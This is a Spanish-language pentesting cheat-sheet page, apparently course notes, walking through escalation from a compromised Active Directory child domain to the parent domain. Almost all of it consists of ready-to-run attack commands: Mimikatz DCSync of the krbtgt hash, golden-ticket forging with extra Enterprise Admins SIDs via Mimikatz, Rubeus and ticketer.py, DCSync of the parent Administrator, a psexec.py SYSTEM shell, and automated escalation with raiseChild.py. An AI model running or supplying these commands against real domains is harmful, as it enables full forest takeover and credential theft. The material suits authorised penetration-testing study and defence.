Child -> Parent Trusts
Para realizar este ataque tras comprometer un child domain, necesitamos lo siguiente:
El hash KRBTGT del child domain
El SID del child domain
El nombre de un usuario objetivo en el child domain (¡no necesita existir!)
El FQDN del child domain
El SID del grupo Enterprise Admins del root domain
Con estos datos recopilados, el ataque puede ejecutarse con Mimikatz.
from Windows
Mimikatz
Obtaining the KRBTGT Account's NT Hash using Mimikatz
En este ejemplo se nos proporciona el siguiente hash NTLM de la cuenta krbtgt: 9d765b482771505cbe97411065964d5f
.\mimikatz.exe "lsadump::dcsync /user:CHILD\krbtgt" exit
Using Get-DomainSID
El DomainSID del child domain de ejemplo que nos aparece de resultado es: S-1-5-21-2806153819-209893948-922872689
Import-Module .\PowerView.ps1
Get-DomainSID
Obtaining Enterprise Admins Group's SID using Get-DomainGroup
El SID del grupo "Enterprise Admins" del root domain de ejemplo es: S-1-5-21-3842939050-3880317879-2865463114-519
Get-DomainGroup -Domain PARENT.LOCAL -Identity "Enterprise Admins" | select distinguishedname,objectsid
En este punto, hemos recopilado los siguientes datos:
Hash KRBTGT del child domain:
9d765b482771505cbe97411065964d5f
SID del child domain:
S-1-5-21-2806153819-209893948-922872689
Nombre de usuario objetivo en el child domain (¡no necesita existir!): elegimos un usuario ficticio:
hacker
FQDN del child domain:
CHILD.PARENT.LOCAL
SID del grupo Enterprise Admins del root domain:
S-1-5-21-3842939050-3880317879-2865463114-519
Creating a Golden Ticket with Mimikatz
Generamos el Golden Ticket y ya lo tendremos en nuestra sesión actual.
.\mimikatz.exe "kerberos::golden /user:hacker /domain:CHILD.PARENT.LOCAL /sid:S-1-5-21-2806153819-209893948-922872689 /krbtgt:9d765b482771505cbe97411065964d5f /sids:S-1-5-21-3842939050-3880317879-2865463114-519 /ptt" exit
Rubeus
Creating a Golden Ticket using Rubeus
.\Rubeus.exe golden /rc4:9d765b482771505cbe97411065964d5f /domain:LOGISTICS.INLANEFREIGHT.LOCAL /sid:S-1-5-21-2806153819-209893948-922872689 /sids:S-1-5-21-3842939050-3880317879-2865463114-519 /user:hacker /ptt
Confirming the Ticket is in Memory Using klist
klist
Performing a DCSync Attack
.\mimikatz.exe "lsadump::dcsync /user:PARENT\Administrator /domain:PARENT.LOCAL" exit
from Linux
También podemos realizar el ataque mostrado en la sección anterior desde un host de ataque Linux. Para hacerlo, aún necesitaremos reunir la misma información:
El hash KRBTGT del dominio hijo
El SID del dominio hijo
El nombre de un usuario objetivo en el dominio hijo (¡no necesita existir!)
El FQDN del dominio hijo
El SID del grupo Enterprise Admins del dominio raíz
Manual Attack
Performing DCSync with secretsdump.py
En este ejemplo se nos proporciona el siguiente hash NTLM de la cuenta krbtgt: 9d765b482771505cbe97411065964d5f
secretsdump.py child.parent.local/user:'password'@192.168.14.122 -just-dc-user CHILD/krbtgt
Performing SID Brute Forcing using lookupsid.py
El DomainSID del child domain de ejemplo que nos aparece de resultado es: S-1-5-21-2806153819-209893948-922872689
lookupsid.py child.parent.local/user:'password'@192.168.14.122 | grep "Domain SID"
Grabbing the Domain SID & Attaching to Enterprise Admin's RID
El SID del grupo "Enterprise Admins" del root domain de ejemplo es: S-1-5-21-3842939050-3880317879-2865463114-519
lookupsid.py child.parent.local/user:'password'@192.168.14.5 | grep -B12 "Enterprise Admins"
Hemos reunido los siguientes datos para construir el comando de nuestro ataque. Nuevamente, usaremos el usuario inexistente hacker para forjar nuestro Golden Ticket:
El hash KRBTGT del dominio hijo:
9d765b482771505cbe97411065964d5f
El SID del dominio hijo:
S-1-5-21-2806153819-209893948-922872689
El nombre del usuario objetivo en el dominio hijo:
hacker
El FQDN del dominio hijo: CHILD.PARENT
.LOCAL
El SID del grupo Enterprise Admins del dominio raíz:
S-1-5-21-3842939050-3880317879-2865463114-519
Constructing a Golden Ticket using ticketer.py
ticketer.py -nthash 9d765b482771505cbe97411065964d5f -domain CHILD.PARENT.LOCAL -domain-sid S-1-5-21-2806153819-209893948-922872689 -extra-sid S-1-5-21-3842939050-3880317879-2865463114-519 hacker
Setting the KRB5CCNAME Environment Variable
export KRB5CCNAME=$(pwd)/hacker.ccache
Getting a SYSTEM shell using Impacket's psexec.py
psexec.py CHILD.PARENT.LOCAL/hacker@dc01.parent.local -k -no-pass -target-ip 192.168.14.5
Automatic Attack (raiseChild.py)
Impacket también incluye la herramienta raiseChild.py, que automatiza la escalada del dominio hijo al dominio padre. Necesitamos especificar el Domain Controller objetivo y las credenciales de un usuario administrativo en el dominio hijo; el script hará el resto.
raiseChild.py -target-exec 192.168.14.5 CHILD.PARENT.LOCAL/user:'password'
Última actualización
¿Te fue útil?